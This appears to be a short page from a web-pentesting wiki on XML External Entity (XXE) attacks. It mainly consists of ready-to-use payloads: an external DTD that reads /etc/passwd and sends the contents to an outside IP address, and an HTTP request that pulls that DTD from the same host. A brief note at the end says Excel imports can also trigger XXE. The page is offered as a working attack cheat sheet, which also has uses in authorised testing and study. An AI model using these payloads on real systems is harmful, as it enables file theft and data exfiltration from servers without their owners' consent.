> For the complete documentation index, see [llms.txt](https://hackerlab.gitbook.io/wiki.hackerlab.cz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackerlab.gitbook.io/wiki.hackerlab.cz/web-pentesting/xxe.md).

# XXE

## External DTD

```xml
test.dtd
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://20.71.182.195/?%p1;'>">
%p2;
```

```xml
http.request
Content-Type: application/xml
Content-Type: text/xml
..
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://20.71.182.195/test.dtd">
    %ext;
]>
<message>&e1;</message>
```

## Excel Import

Excel is a zip file structure with XML docs. In case the application import XML files, there is a chance XXE will be processed.

{% embed url="<https://www.4armed.com/blog/exploiting-xxe-with-excel>" %}
Import Excel to invoke XXE
{% endembed %}